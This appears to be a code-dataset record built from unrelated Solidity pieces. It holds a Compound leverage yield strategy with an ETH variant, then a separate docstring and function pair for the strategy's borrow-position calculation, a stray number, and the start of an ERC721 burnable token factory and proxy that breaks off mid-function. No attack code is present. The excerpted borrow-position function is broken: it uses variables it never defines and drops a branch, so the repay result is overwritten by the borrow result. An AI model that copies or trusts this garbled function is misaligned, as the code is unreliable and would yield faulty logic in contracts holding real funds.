require(IStrategy(_newStrategy).pool() == pool, "not-valid-new-strategy"); _beforeMigration(_newStrategy); IERC20(receiptToken).safeTransfer(_newStrategy, IERC20(receiptToken).balanceOf(address(this))); collateralToken.safeTransfer(_newStrategy, collateralToken.balanceOf(address(this))); } /** * @notice Remove given address from keepers list. * @param _keeperAddress keeper address to remove. */ function removeKeeper(address _keeperAddress) external onlyGovernor { require(_keepers.remove(_keeperAddress), "remove-keeper-failed"); } /** * @notice Update fee collector * @param _feeCollector fee collector address */ function updateFeeCollector(address _feeCollector) external onlyGovernor { require(_feeCollector != address(0), "fee-collector-address-is-zero"); require(_feeCollector != feeCollector, "fee-collector-is-same"); emit UpdatedFeeCollector(feeCollector, _feeCollector); feeCollector = _feeCollector; } /** * @notice Update swap manager address * @param _swapManager swap manager address */ function updateSwapManager(address _swapManager) external onlyGovernor { require(_swapManager != address(0), "sm-address-is-zero"); require(_swapManager != address(swapManager), "sm-is-same"); emit UpdatedSwapManager(address(swapManager), _swapManager); swapManager = ISwapManager(_swapManager); } function updateSwapSlippage(uint256 _newSwapSlippage) external onlyGovernor { require(_newSwapSlippage <= 10000, "invalid-slippage-value"); emit UpdatedSwapSlippage(swapSlippage, _newSwapSlippage); swapSlippage = _newSwapSlippage; } function updateOracleConfig(uint256 _newPeriod, uint256 _newRouterIdx) external onlyGovernor { require(_newRouterIdx < swapManager.N_DEX(), "invalid-router-index"); if (_newPeriod == 0) _newPeriod = oraclePeriod; require(_newPeriod > 59, "invalid-oracle-period"); emit UpdatedOracleConfig(oraclePeriod, _newPeriod, oracleRouterIdx, _newRouterIdx); oraclePeriod = _newPeriod; oracleRouterIdx = _newRouterIdx; } /// @dev Approve all required tokens function approveToken() external onlyKeeper { _approveToken(0); _approveToken(MAX_UINT_VALUE); } function setupOracles() external onlyKeeper { _setupOracles(); } /** * @dev Withdraw collateral token from lending pool. * @param _amount Amount of collateral token */ function withdraw(uint256 _amount) external override onlyPool { _withdraw(_amount); } /** * @dev Rebalance profit, loss and investment of this strategy */ function rebalance() external virtual override onlyKeeper { (uint256 _profit, uint256 _loss, uint256 _payback) = _generateReport(); IVesperPool(pool).reportEarning(_profit, _loss, _payback); _reinvest(); } /** * @dev sweep given token to feeCollector of strategy * @param _fromToken token address to sweep */ function sweepERC20(address _fromToken) external override onlyKeeper { require(feeCollector != address(0), "fee-collector-not-set"); require(_fromToken != address(collateralToken), "not-allowed-to-sweep-collateral"); require(!isReservedToken(_fromToken), "not-allowed-to-sweep"); if (_fromToken == ETH) { Address.sendValue(payable(feeCollector), address(this).balance); } else { uint256 _amount = IERC20(_fromToken).balanceOf(address(this)); IERC20(_fromToken).safeTransfer(feeCollector, _amount); } } /// @notice Returns address of token correspond to collateral token function token() external view override returns (address) { return receiptToken; } /** * @notice Calculate total value of asset under management * @dev Report total value in collateral token */ function totalValue() public view virtual override returns (uint256 _value); /** * @notice Calculate total value of asset under management (in real-time) * @dev Report total value in collateral token */ function totalValueCurrent() external virtual override returns (uint256) { return totalValue(); } /// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep. function isReservedToken(address _token) public view virtual override returns (bool); /** * @notice some strategy may want to prepare before doing migration. Example In Maker old strategy want to give vault ownership to new strategy * @param _newStrategy . */ function _beforeMigration(address _newStrategy) internal virtual; /** * @notice Generate report for current profit and loss. Also liquidate asset to payback * excess debt, if any. * @return _profit Calculate any realized profit and convert it to collateral, if not already. * @return _loss Calculate any loss that strategy has made on investment. Convert into collateral token. * @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt. */ function _generateReport() internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _payback ) { uint256 _excessDebt = IVesperPool(pool).excessDebt(address(this)); uint256 _totalDebt = IVesperPool(pool).totalDebtOf(address(this)); _profit = _realizeProfit(_totalDebt); _loss = _realizeLoss(_totalDebt); _payback = _liquidate(_excessDebt); } function _calcAmtOutAfterSlippage(uint256 _amount, uint256 _slippage) internal pure returns (uint256) { return (_amount * (10000 - _slippage)) / (10000); } function _simpleOraclePath(address _from, address _to) internal view returns (address[] memory path) { if (_from == WETH || _to == WETH) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = WETH; path[2] = _to; } } function _consultOracle( address _from, address _to, uint256 _amt ) internal returns (uint256, bool) { for (uint256 i = 0; i < swapManager.N_DEX(); i++) { (bool _success, bytes memory _returnData) = address(swapManager).call( abi.encodePacked(swapManager.consult.selector, abi.encode(_from, _to, _amt, oraclePeriod, i)) ); if (_success) { (uint256 rate, uint256 lastUpdate, ) = abi.decode(_returnData, (uint256, uint256, bool)); if ((lastUpdate > (block.timestamp - oraclePeriod)) && (rate != 0)) return (rate, true); return (0, false); } } return (0, false); } function _getOracleRate(address[] memory path, uint256 _amountIn) internal returns (uint256 amountOut) { require(path.length > 1, "invalid-oracle-path"); amountOut = _amountIn; bool isValid; for (uint256 i = 0; i < path.length - 1; i++) { (amountOut, isValid) = _consultOracle(path[i], path[i + 1], amountOut); require(isValid, "invalid-oracle-rate"); } } /** * @notice Safe swap via Uniswap / Sushiswap (better rate of the two) * @dev There are many scenarios when token swap via Uniswap can fail, so this * method will wrap Uniswap call in a 'try catch' to make it fail safe. * however, this method will throw minAmountOut is not met * @param _from address of from token * @param _to address of to token * @param _amountIn Amount to be swapped * @param _minAmountOut minimum amount out */ function _safeSwap( address _from, address _to, uint256 _amountIn, uint256 _minAmountOut ) internal { (address[] memory path, uint256 amountOut, uint256 rIdx) = swapManager.bestOutputFixedInput(_from, _to, _amountIn); if (_minAmountOut == 0) _minAmountOut = 1; if (amountOut != 0) { swapManager.ROUTERS(rIdx).swapExactTokensForTokens( _amountIn, _minAmountOut, path, address(this), block.timestamp ); } } // These methods can be implemented by the inheriting strategy. /* solhint-disable no-empty-blocks */ function _claimRewardsAndConvertTo(address _toToken) internal virtual {} /** * @notice Set up any oracles that are needed for this strategy. */ function _setupOracles() internal virtual {} /* solhint-enable */ // These methods must be implemented by the inheriting strategy function _withdraw(uint256 _amount) internal virtual; function _approveToken(uint256 _amount) internal virtual; /** * @notice Withdraw collateral to payback excess debt in pool. * @param _excessDebt Excess debt of strategy in collateral token * @return _payback amount in collateral token. Usually it is equal to excess debt. */ function _liquidate(uint256 _excessDebt) internal virtual returns (uint256 _payback); /** * @notice Calculate earning and withdraw/convert it into collateral token. * @param _totalDebt Total collateral debt of this strategy * @return _profit Profit in collateral token */ function _realizeProfit(uint256 _totalDebt) internal virtual returns (uint256 _profit); /** * @notice Calculate loss * @param _totalDebt Total collateral debt of this strategy * @return _loss Realized loss in collateral token */ function _realizeLoss(uint256 _totalDebt) internal virtual returns (uint256 _loss); /** * @notice Reinvest collateral. * @dev Once we file report back in pool, we might have some collateral in hand * which we want to reinvest aka deposit in lender/provider. */ function _reinvest() internal virtual; } // SPDX-License-Identifier: GNU LGPLv3 // Heavily inspired from CompoundLeverage strategy of Yearn. https://etherscan.io/address/0x4031afd3B0F71Bace9181E554A9E680Ee4AbE7dF#code pragma solidity 0.8.3; import "../Strategy.sol"; import "../../interfaces/compound/ICompound.sol"; import "../../interfaces/oracle/IUniswapV3Oracle.sol"; import "../../FlashLoanHelper.sol"; /// @title This strategy will deposit collateral token in Compound and based on position /// it will borrow same collateral token. It will use borrowed asset as supply and borrow again. contract CompoundLeverageStrategy is Strategy, FlashLoanHelper { using SafeERC20 for IERC20; // solhint-disable-next-line var-name-mixedcase string public NAME; string public constant VERSION = "4.0.0"; uint256 internal constant MAX_BPS = 10_000; //100% uint256 public minBorrowRatio = 5_000; // 50% uint256 public maxBorrowRatio = 6_000; // 60% CToken internal cToken; IUniswapV3Oracle internal constant ORACLE = IUniswapV3Oracle(0x0F1f5A87f99f0918e6C81F16E59F3518698221Ff); uint32 internal constant TWAP_PERIOD = 3600; Comptroller public immutable comptroller; address public immutable rewardToken; address public rewardDistributor; event UpdatedBorrowRatio( uint256 previousMinBorrowRatio, uint256 newMinBorrowRatio, uint256 previousMaxBorrowRatio, uint256 newMaxBorrowRatio ); constructor( address _pool, address _swapManager, address _comptroller, address _rewardDistributor, address _rewardToken, address _aaveAddressesProvider, address _receiptToken, string memory _name ) Strategy(_pool, _swapManager, _receiptToken) FlashLoanHelper(_aaveAddressesProvider) { NAME = _name; require(_comptroller != address(0), "comptroller-address-is-zero"); comptroller = Comptroller(_comptroller); rewardToken = _rewardToken; require(_receiptToken != address(0), "cToken-address-is-zero"); cToken = CToken(_receiptToken); require(_rewardDistributor != address(0), "invalid-reward-distributor-addr"); rewardDistributor = _rewardDistributor; } /** * @notice Update upper and lower borrow ratio * @dev It is possible to set 0 as _minBorrowRatio to not borrow anything * @param _minBorrowRatio Minimum % we want to borrow * @param _maxBorrowRatio Maximum % we want to borrow */ function updateBorrowRatio(uint256 _minBorrowRatio, uint256 _maxBorrowRatio) external onlyGovernor { (, uint256 _collateralFactor, ) = comptroller.markets(address(cToken)); require(_maxBorrowRatio < (_collateralFactor / 1e14), "invalid-max-borrow-limit"); require(_maxBorrowRatio > _minBorrowRatio, "max-should-be-higher-than-min"); emit UpdatedBorrowRatio(minBorrowRatio, _minBorrowRatio, maxBorrowRatio, _maxBorrowRatio); minBorrowRatio = _minBorrowRatio; maxBorrowRatio = _maxBorrowRatio; } function updateAaveStatus(bool _status) external onlyGovernor { _updateAaveStatus(_status); } function updateDyDxStatus(bool _status) external virtual onlyGovernor { _updateDyDxStatus(_status, address(collateralToken)); } /** * @notice Calculate total value based on rewardToken claimed, supply and borrow position * @dev Report total value in collateral token * @dev Claimed rewardToken will stay in strategy until next rebalance */ function totalValueCurrent() public override returns (uint256 _totalValue) { cToken.exchangeRateCurrent(); _claimRewards(); _totalValue = _calculateTotalValue(IERC20(rewardToken).balanceOf(address(this))); } /** * @notice Current borrow ratio, calculated as current borrow divide by max allowed borrow * Return value is based on basis points, i.e. 7500 = 75% ratio */ function currentBorrowRatio() external view returns (uint256) { (uint256 _supply, uint256 _borrow) = getPosition(); return _borrow == 0 ? 0 : (_borrow * MAX_BPS) / _supply; } /** * @notice Calculate total value using rewardToken accrued, supply and borrow position * @dev Compound calculate rewardToken accrued and store it when user interact with * Compound contracts, i.e. deposit, withdraw or transfer tokens. * So compAccrued() will return stored rewardToken accrued amount, which is older * @dev For up to date value check totalValueCurrent() */ function totalValue() public view virtual override returns (uint256 _totalValue) { _totalValue = _calculateTotalValue(_getRewardAccrued()); } /** * @notice Calculate current position using claimed rewardToken and current borrow. */ function isLossMaking() external returns (bool) { // It's loss making if _totalValue < totalDebt return totalValueCurrent() < IVesperPool(pool).totalDebtOf(address(this)); } function isReservedToken(address _token) public view virtual override returns (bool) { return _token == address(cToken) || _token == rewardToken || _token == address(collateralToken); } /// @notice Return supply and borrow position. Position may return few block old value function getPosition() public view returns (uint256 _supply, uint256 _borrow) { (, uint256 _cTokenBalance, uint256 _borrowBalance, uint256 _exchangeRate) = cToken.getAccountSnapshot(address(this)); _supply = (_cTokenBalance * _exchangeRate) / 1e18; _borrow = _borrowBalance; } /// @notice Approve all required tokens function _approveToken(uint256 _amount) internal virtual override { collateralToken.safeApprove(pool, _amount); collateralToken.safeApprove(address(cToken), _amount); for (uint256 i = 0; i < swapManager.N_DEX(); i++) { IERC20(rewardToken).safeApprove(address(swapManager.ROUTERS(i)), _amount); } FlashLoanHelper._approveToken(address(collateralToken), _amount); } /** * @notice Claim rewardToken and transfer to new strategy * @param _newStrategy Address of new strategy. */ function _beforeMigration(address _newStrategy) internal virtual override { require(IStrategy(_newStrategy).token() == address(cToken), "wrong-receipt-token"); minBorrowRatio = 0; // It will calculate amount to repay based on borrow limit and payback all _reinvest(); } /** * @notice Calculate borrow position based on borrow ratio, current supply, borrow, amount * being deposited or withdrawn. * @param _amount Collateral amount * @param _isDeposit Flag indicating whether we are depositing _amount or withdrawing * @return _position Amount of borrow that need to be adjusted * @return _shouldRepay Flag indicating whether _position is borrow amount or repay amount */ function _calculateDesiredPosition(uint256 _amount, bool _isDeposit) internal returns (uint256 _position, bool _shouldRepay) { uint256 _totalSupply = cToken.balanceOfUnderlying(address(this)); uint256 _currentBorrow = cToken.borrowBalanceStored(address(this)); // If minimum borrow limit set to 0 then repay borrow if (minBorrowRatio == 0) { return (_currentBorrow, true); } uint256 _supply = _totalSupply - _currentBorrow; // In case of withdraw, _amount can be greater than _supply uint256 _newSupply = _isDeposit ? _supply + _amount : _supply > _amount ? _supply - _amount : 0; // (supply * borrowRatio)/(BPS - borrowRatio) uint256 _borrowUpperBound = (_newSupply * maxBorrowRatio) / (MAX_BPS - maxBorrowRatio); uint256 _borrowLowerBound = (_newSupply * minBorrowRatio) / (MAX_BPS - minBorrowRatio); // If our current borrow is greater than max borrow allowed, then we will have to repay // some to achieve safe position else borrow more. if (_currentBorrow > _borrowUpperBound) { _shouldRepay = true; // If borrow > upperBound then it is greater than lowerBound too. _position = _currentBorrow - _borrowLowerBound; } else if (_currentBorrow < _borrowLowerBound) { _shouldRepay = false; // We can borrow more. _position = _borrowLowerBound - _currentBorrow; } } /// @notice Get main Rewards accrued function _getRewardAccrued() internal view virtual returns (uint256 _rewardAccrued) { _rewardAccrued = comptroller.compAccrued(address(this)); } /** * @dev rewardToken is converted to collateral and if we have some borrow interest to pay, * it will go come from collateral. * @dev Report total value in collateral token */ function _calculateTotalValue(uint256 _rewardAccrued) internal view returns (uint256 _totalValue) { uint256 _compAsCollateral; if (_rewardAccrued != 0) { (, _compAsCollateral, ) = swapManager.bestOutputFixedInput( rewardToken, address(collateralToken), _rewardAccrued ); } (uint256 _supply, uint256 _borrow) = getPosition(); _totalValue = _compAsCollateral + collateralToken.balanceOf(address(this)) + _supply - _borrow; } /// @notice Claim comp function _claimRewards() internal virtual { address[] memory _markets = new address[](1); _markets[0] = address(cToken); comptroller.claimComp(address(this), _markets); } /// @notice Claim rewardToken and convert rewardToken into collateral token. function _claimRewardsAndConvertTo(address _toToken) internal override { _claimRewards(); uint256 _rewardAmount = IERC20(rewardToken).balanceOf(address(this)); if (_rewardAmount != 0) { _safeSwap(rewardToken, _toToken, _rewardAmount); } } /** * @notice Generate report for pools accounting and also send profit and any payback to pool. * @dev Claim rewardToken and convert to collateral. */ function _generateReport() internal override returns ( uint256 _profit, uint256 _loss, uint256 _payback ) { uint256 _excessDebt = IVesperPool(pool).excessDebt(address(this)); (, , , , uint256 _totalDebt, , , uint256 _debtRatio) = IVesperPool(pool).strategy(address(this)); // Claim rewardToken and convert to collateral token _claimRewardsAndConvertTo(address(collateralToken)); uint256 _supply = cToken.balanceOfUnderlying(address(this)); uint256 _borrow = cToken.borrowBalanceStored(address(this)); uint256 _investedCollateral = _supply - _borrow; uint256 _collateralHere = collateralToken.balanceOf(address(this)); uint256 _totalCollateral = _investedCollateral + _collateralHere; uint256 _profitToWithdraw; if (_totalCollateral > _totalDebt) { _profit = _totalCollateral - _totalDebt; if (_collateralHere <= _profit) { _profitToWithdraw = _profit - _collateralHere; } else if (_collateralHere >= (_profit + _excessDebt)) { _payback = _excessDebt; } else { // _profit < CollateralHere < _profit + _excessDebt _payback = _collateralHere - _profit; } } else { _loss = _totalDebt - _totalCollateral; } uint256 _paybackToWithdraw = _excessDebt - _payback; uint256 _totalAmountToWithdraw = _paybackToWithdraw + _profitToWithdraw; if (_totalAmountToWithdraw != 0) { uint256 _withdrawn = _withdrawHere(_totalAmountToWithdraw); // Any amount withdrawn over _profitToWithdraw is payback for pool if (_withdrawn > _profitToWithdraw) { _payback += (_withdrawn - _profitToWithdraw); } } // Handle scenario if debtRatio is zero and some supply left. // Remaining tokens, after payback withdrawal, are profit (_supply, _borrow) = getPosition(); if (_debtRatio == 0 && _supply != 0 && _borrow == 0) { // This will redeem all cTokens this strategy has _redeemUnderlying(MAX_UINT_VALUE); _profit += _supply; } } /** * Adjust position by normal leverage and deleverage. * @param _adjustBy Amount by which we want to increase or decrease _borrow * @param _shouldRepay True indicate we want to deleverage * @return amount Actual adjusted amount */ function _adjustPosition(uint256 _adjustBy, bool _shouldRepay) internal returns (uint256 amount) { // We can get position via view function, as this function will be called after _calculateDesiredPosition (uint256 _supply, uint256 _borrow) = getPosition(); // If no borrow then there is nothing to deleverage if (_borrow == 0 && _shouldRepay) { return 0; } (, uint256 collateralFactor, ) = comptroller.markets(address(cToken)); if (_shouldRepay) { amount = _normalDeleverage(_adjustBy, _supply, _borrow, collateralFactor); } else { amount = _normalLeverage(_adjustBy, _supply, _borrow, collateralFactor); } } /** * Deleverage: Reduce borrow to achieve safe position * @param _maxDeleverage Reduce borrow by this amount * @return _deleveragedAmount Amount we actually reduced */ function _normalDeleverage( uint256 _maxDeleverage, uint256 _supply, uint256 _borrow, uint256 _collateralFactor ) internal returns (uint256 _deleveragedAmount) { uint256 _theoreticalSupply; if (_collateralFactor != 0) { // Calculate minimum supply required to support _borrow _theoreticalSupply = (_borrow * 1e18) / _collateralFactor; } _deleveragedAmount = _supply - _theoreticalSupply; if (_deleveragedAmount >= _borrow) { _deleveragedAmount = _borrow; } if (_deleveragedAmount >= _maxDeleverage) { _deleveragedAmount = _maxDeleverage; } _redeemUnderlying(_deleveragedAmount); _repayBorrow(_deleveragedAmount); } /** * Leverage: Borrow more * @param _maxLeverage Max amount to borrow * @return _leveragedAmount Amount we actually borrowed */ function _normalLeverage( uint256 _maxLeverage, uint256 _supply, uint256 _borrow, uint256 _collateralFactor ) internal returns (uint256 _leveragedAmount) { // Calculate maximum we can borrow at current _supply uint256 theoreticalBorrow = (_supply * _collateralFactor) / 1e18; _leveragedAmount = theoreticalBorrow - _borrow; if (_leveragedAmount >= _maxLeverage) { _leveragedAmount = _maxLeverage; } _borrowCollateral(_leveragedAmount); _mint(collateralToken.balanceOf(address(this))); } /// @notice Deposit collateral in Compound and adjust borrow position function _reinvest() internal virtual override { uint256 _collateralBalance = collateralToken.balanceOf(address(this)); (uint256 _position, bool _shouldRepay) = _calculateDesiredPosition(_collateralBalance, true); // Supply collateral to compound. _mint(_collateralBalance); // During reinvest, _shouldRepay will be false which indicate that we will borrow more. _position -= _doFlashLoan(_position, _shouldRepay); uint256 i = 0; while (_position > 0 && i <= 6) { _position -= _adjustPosition(_position, _shouldRepay); i++; } } /// @dev Withdraw collateral and transfer it to pool function _withdraw(uint256 _amount) internal override { collateralToken.safeTransfer(pool, _withdrawHere(_amount)); } /// @dev Withdraw collateral here. Do not transfer to pool function _withdrawHere(uint256 _amount) internal returns (uint256) { (uint256 _position, bool _shouldRepay) = _calculateDesiredPosition(_amount, false); if (_shouldRepay) { // Do deleverage by flash loan _position -= _doFlashLoan(_position, _shouldRepay); // If we still have _position to deleverage do it via normal deleverage uint256 i = 0; while (_position > 0 && i <= 10) { _position -= _adjustPosition(_position, true); i++; } // There may be scenario where we are not able to deleverage enough if (_position != 0) { // Calculate redeemable at current borrow and supply. (uint256 _supply, uint256 _borrow) = getPosition(); uint256 _supplyToSupportBorrow; if (maxBorrowRatio != 0) { _supplyToSupportBorrow = (_borrow * MAX_BPS) / maxBorrowRatio; } // Current supply minus supply required to support _borrow at _maxBorrowRatio uint256 _redeemable = _supply - _supplyToSupportBorrow; if (_amount > _redeemable) { _amount = _redeemable; } } } uint256 _collateralBefore = collateralToken.balanceOf(address(this)); // If we do not have enough collateral, try to get some via COMP // This scenario is rare and will happen during last withdraw if (_amount > cToken.balanceOfUnderlying(address(this))) { // Use all collateral for withdraw _collateralBefore = 0; _claimRewardsAndConvertTo(address(collateralToken)); // Updated amount _amount = _amount - collateralToken.balanceOf(address(this)); } _redeemUnderlying(_amount); uint256 _collateralAfter = collateralToken.balanceOf(address(this)); return _collateralAfter - _collateralBefore; } /** * @dev Aave flash is used only for withdrawal due to high fee compare to DyDx * @param _flashAmount Amount for flash loan * @param _shouldRepay Flag indicating we want to leverage or deleverage * @return Total amount we leverage or deleverage using flash loan */ function _doFlashLoan(uint256 _flashAmount, bool _shouldRepay) internal returns (uint256) { uint256 _totalFlashAmount; // Due to less fee DyDx is our primary flash loan provider if (isDyDxActive && _flashAmount > 0) { bytes memory _data = abi.encode(_flashAmount, _shouldRepay); _totalFlashAmount = _doDyDxFlashLoan(address(collateralToken), _flashAmount, _data); _flashAmount -= _totalFlashAmount; } if (isAaveActive && _shouldRepay && _flashAmount > 0) { bytes memory _data = abi.encode(_flashAmount, _shouldRepay); _totalFlashAmount += _doAaveFlashLoan(address(collateralToken), _flashAmount, _data); } return _totalFlashAmount; } /** * @notice This function will be called by flash loan * @dev In case of borrow, DyDx is preferred as fee is so low that it does not effect * our collateralRatio and liquidation risk. */ function _flashLoanLogic(bytes memory _data, uint256 _repayAmount) internal override { (uint256 _amount, bool _deficit) = abi.decode(_data, (uint256, bool)); uint256 _collateralHere = collateralToken.balanceOf(address(this)); require(_collateralHere >= _amount, "FLASH_FAILED"); // to stop malicious calls //if in deficit we repay amount and then withdraw if (_deficit) { _repayBorrow(_amount); //if we are withdrawing we take more to cover fee _redeemUnderlying(_repayAmount); } else { _mint(_collateralHere); //borrow more to cover fee _borrowCollateral(_repayAmount); } } /** * @dev If swap slippage is defined then use oracle to get amountOut and calculate minAmountOut */ function _safeSwap( address _tokenIn, address _tokenOut, uint256 _amountIn ) internal virtual { uint256 _minAmountOut = swapSlippage != 10000 ? _calcAmtOutAfterSlippage( ORACLE.assetToAsset(_tokenIn, _amountIn, _tokenOut, TWAP_PERIOD), swapSlippage ) : 1; _safeSwap(_tokenIn, _tokenOut, _amountIn, _minAmountOut); } //////////////////// Compound wrapper functions ////////////////////////////// /** * @dev Compound support ETH as collateral not WETH. So ETH strategy can override * below functions and handle wrap/unwrap of WETH. */ function _mint(uint256 _amount) internal virtual { require(cToken.mint(_amount) == 0, "supply-to-compound-failed"); } function _redeemUnderlying(uint256 _amount) internal virtual { if (_amount == MAX_UINT_VALUE) { // Withdraw all cTokens require(cToken.redeem(cToken.balanceOf(address(this))) == 0, "withdraw-from-compound-failed"); } else { // Withdraw underlying require(cToken.redeemUnderlying(_amount) == 0, "withdraw-from-compound-failed"); } } function _borrowCollateral(uint256 _amount) internal virtual { require(cToken.borrow(_amount) == 0, "borrow-from-compound-failed"); } function _repayBorrow(uint256 _amount) internal virtual { require(cToken.repayBorrow(_amount) == 0, "repay-to-compound-failed"); } ////////////////////////////////////////////////////////////////////////////// /* solhint-disable no-empty-blocks */ // We overridden _generateReport which eliminates need of below function. function _liquidate(uint256 _excessDebt) internal override returns (uint256 _payback) {} function _realizeProfit(uint256 _totalDebt) internal virtual override returns (uint256) {} function _realizeLoss(uint256 _totalDebt) internal view override returns (uint256 _loss) {} /* solhint-enable no-empty-blocks */ } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "./CompoundLeverageStrategy.sol"; import "../../interfaces/token/IToken.sol"; // solhint-disable no-empty-blocks /// @title Deposit ETH in Compound and earn interest. contract CompoundLeverageStrategyETH is CompoundLeverageStrategy { constructor( address _pool, address _swapManager, address _comptroller, address _rewardDistributor, address _rewardToken, address _aaveAddressesProvider, address _receiptToken, string memory _name ) CompoundLeverageStrategy( _pool, _swapManager, _comptroller, _rewardDistributor, _rewardToken, _aaveAddressesProvider, _receiptToken, _name ) {} /// @dev Only receive ETH from either cToken or WETH receive() external payable { require(msg.sender == address(cToken) || msg.sender == WETH, "not-allowed-to-send-ether"); } /// @dev Compound support ETH as collateral. Convert WETH to ETH and mint cETH function _mint(uint256 _amount) internal override { _withdrawETH(_amount); cToken.mint{value: _amount}(); } /// @dev On redeem we will receive ETH. Convert received ETH into WETH function _redeemUnderlying(uint256 _amount) internal override { super._redeemUnderlying(_amount); _depositETH(); } /// @dev On borrow we will receive ETH. Convert received ETH into WETH function _borrowCollateral(uint256 _amount) internal override { super._borrowCollateral(_amount); _depositETH(); } /// @dev Repay will take ETH. Convert WETH to ETH and call payable repay function function _repayBorrow(uint256 _amount) internal override { _withdrawETH(_amount); cToken.repayBorrow{value: _amount}(); } /// @dev Deposit ETH and get WETH in return function _depositETH() internal { TokenLike(WETH).deposit{value: address(this).balance}(); } /// @dev Withdraw ETH by burning similar amount of WETH function _withdrawETH(uint256 _amount) internal { TokenLike(WETH).withdraw(_amount); } }
Calculate borrow position based on borrow ratio, current supply, borrow, amount being deposited or withdrawn. _amount Collateral amount _isDeposit Flag indicating whether we are depositing _amount or withdrawing return _position Amount of borrow that need to be adjusted return _shouldRepay Flag indicating whether _position is borrow amount or repay amount/ If minimum borrow limit set to 0 then repay borrow If our current borrow is greater than max borrow allowed, then we will have to repay some to achieve safe position else borrow more. If borrow > upperBound then it is greater than lowerBound too. We can borrow more.
function _calculateDesiredPosition(uint256 _amount, bool _isDeposit) internal returns (uint256 _position, bool _shouldRepay) { uint256 _totalSupply = cToken.balanceOfUnderlying(address(this)); uint256 _currentBorrow = cToken.borrowBalanceStored(address(this)); if (minBorrowRatio == 0) { return (_currentBorrow, true); } uint256 _supply = _totalSupply - _currentBorrow; uint256 _borrowLowerBound = (_newSupply * minBorrowRatio) / (MAX_BPS - minBorrowRatio); if (_currentBorrow > _borrowUpperBound) { _shouldRepay = true; _position = _currentBorrow - _borrowLowerBound; _shouldRepay = false; _position = _borrowLowerBound - _currentBorrow; } }
1,539,088
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; import "./ERC721Burnable.sol"; contract ERC721BurnableFactory { event Deployed(address indexed creator, address indexed newContract); address public implementation; constructor() { implementation = address(new ERC721Burnable()); } function createERC721Burnable( string memory name_, string memory symbol_, string memory baseTokenURI_, address royaltyReceiver_, uint256 royaltyBps_, uint256 initialSupply_, address initialSupplyReceiver_, address contractOwner_ ) external returns (address) { ERC1967Proxy proxy = new ERC1967Proxy( implementation, abi.encodeWithSelector( ERC721Burnable(address(0)).initialize.selector, name_, symbol_, baseTokenURI_, royaltyReceiver_, royaltyBps_, initialSupply_, initialSupplyReceiver_ ) ); ERC721Burnable(address(proxy)).transferOwnership(contractOwner_); emit Deployed(msg.sender, address(proxy)); return address(proxy); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../Proxy.sol"; import "./ERC1967Upgrade.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "./ERC2981Upgradeable.sol"; contract ERC721Burnable is Initializable, ERC721Upgradeable, ERC721BurnableUpgradeable, ERC2981Upgradeable, OwnableUpgradeable, UUPSUpgradeable { string private _baseTokenURI; /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} // solhint-disable-line no-empty-blocks function initialize( string memory name_, string memory symbol_, string memory baseTokenURI_, address royaltyReceiver_, uint256 royaltyBps_, uint256 initialSupply_, address initialSupplyReceiver_ ) public initializer { __ERC721_init(name_, symbol_); __ERC721Burnable_init(); __Ownable_init(); __UUPSUpgradeable_init(); // Initialize the contents if (bytes(baseTokenURI_).length > 0) { _baseTokenURI = baseTokenURI_; } _setRoyaltyInfo(royaltyReceiver_, royaltyBps_); for (uint256 i = 0; i < initialSupply_; i++) { // mint the initial supply to the initial owner starting with token ID 1 _safeMint(initialSupplyReceiver_, i + 1); } } function _baseURI() internal view override returns (string memory) { return _baseTokenURI; } function contractURI() public view returns (string memory) { string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, "collection")) : ""; } function safeMint(address to, uint256 tokenId) external onlyOwner { _safeMint(to, tokenId); } /** * @dev Updates royalty info. * @param receiver_ - the address of who should be sent the royalty payment * @param royaltyBps_ - the share of the sale price owed as royalty to the receiver, expressed as BPS (1/10,000) */ function setRoyaltyInfo(address receiver_, uint256 royaltyBps_) external onlyOwner { _setRoyaltyInfo(receiver_, royaltyBps_); } /** * @dev It's sufficient to restrict upgrades to the upgrader role. */ // solhint-disable-next-line no-empty-blocks function _authorizeUpgrade(address newImplementation) internal override onlyOwner {} /** * @dev Receives and executes a batch of function calls on this contract. * This was copied from `utils/MulticallUpgradeable.sol` with the exception of renaming the `_functionDelegateCall` * helper, since `UUPSUpgradeable` also defines a private `_functionDelegateCall`. */ function multicall(bytes[] calldata data) external returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { results[i] = _multicallFunctionDelegateCall(address(this), data[i]); } return results; } /** * @dev `_functionDelegateCall` implementation is the same for both Multicall * and ERC1967Upgrade, so we provide it here without differentiation. */ function _multicallFunctionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), 